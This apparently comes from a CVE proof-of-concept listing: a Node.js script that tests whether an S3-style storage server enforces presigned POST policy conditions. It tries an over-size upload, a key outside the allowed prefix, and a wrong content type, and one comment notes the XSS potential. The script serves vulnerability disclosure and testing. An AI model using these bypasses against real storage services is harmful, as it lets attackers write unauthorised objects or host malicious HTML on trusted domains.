5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.js JS
#!/usr/bin/env node

import { createPresignedPost, getKeyBuffer, initService } from "./presign.js";

await initService();

console.log("Example 0: Simple upload (should work)")
{
    const { url, fields } = await createPresignedPost("buffer.txt", [["content-length-range", 0, 10000]]);
    const buffer = Buffer.from("this is a buffer");

    console.log("This upload should succeed:")
    await postUpload(buffer, url, fields);

    console.log();

    const [bufferOnServer] = await getKeyBuffer("buffer.txt");
    console.log("Buffer on server:", bufferOnServer.toString("utf-8"));
}

console.log("---");

console.log("Example 1: Upload that is too large (should NOT work)")
{
    const { url, fields } = await createPresignedPost("buffer.txt", [["content-length-range", 0, 4]]);
    const buffer = Buffer.from("this buffer is larger than 4 bytes");

    console.log("This upload should fail:")
    await postUpload(buffer, url, fields);

    console.log();

    const [bufferOnServer] = await getKeyBuffer("buffer.txt").catch(() => [null]);
    // the previous upload should have failed, so the content on the server should be unchanged
    console.log("Buffer on server:", bufferOnServer?.toString("utf-8"));
}

console.log("---");

console.log("Example 2: Upload has a key that is outside of the allowed prefix (should NOT work)");
{
    const { url, fields } = await createPresignedPost("dontcare.txt", [["starts-with", "$key", "user/uploads/"]]);
    const buffer = Buffer.from("some data from example 2");

    fields["key"] = "secret/area/foo.txt"; // trying to upload outside of allowed prefix
    console.log("This upload should fail:")
    await postUpload(buffer, url, fields);

    console.log();

    const [bufferOnServer] = await getKeyBuffer("secret/area/foo.txt").catch(() => [null]);
    // The object should not be written since the key is outside of the allowed prefix
    console.log("Buffer on server:", bufferOnServer?.toString("utf-8"));
}

console.log("---");

console.log("Example 3: Upload has a content-type that is not allowd (should NOT work)");
{
    const { url, fields } = await createPresignedPost("not-an-image/buffer.txt", [{"Content-Type": "image/png"}]);
    const buffer = Buffer.from("some data from example 3");

    console.log("This upload should fail:")
    await postUpload(buffer, url, fields); // uses text/plain instead of image/png
    // an attacker would use text/html and possibly use this for XSS on a trusted domain

    console.log();

    const [bufferOnServer, contentType] = await getKeyBuffer("not-an-image/buffer.txt").catch(() => [null, null]);
    // The object should not be written since it had the wrong content-type
    console.log("Buffer on server:", bufferOnServer?.toString("utf-8"));

    console.log("Persisted Content-Type on server:", contentType); // should not be "text/plain"
}


async function postUpload(buffer, url, fields) {
    const body = new FormData();
    for (const [key, value] of Object.entries(fields)) {
        body.append(key, value);
    }
    body.append("file", new Blob([buffer], { type: "text/plain" }));

    const res = await fetch(url, {
        method: "POST",
        body,
    });

    if (!res.ok) {
        const text = await res.text();
        console.log(`Upload failed: ${res.status}\n${text}`);
        return;
    }

    console.log("Upload Successful");
}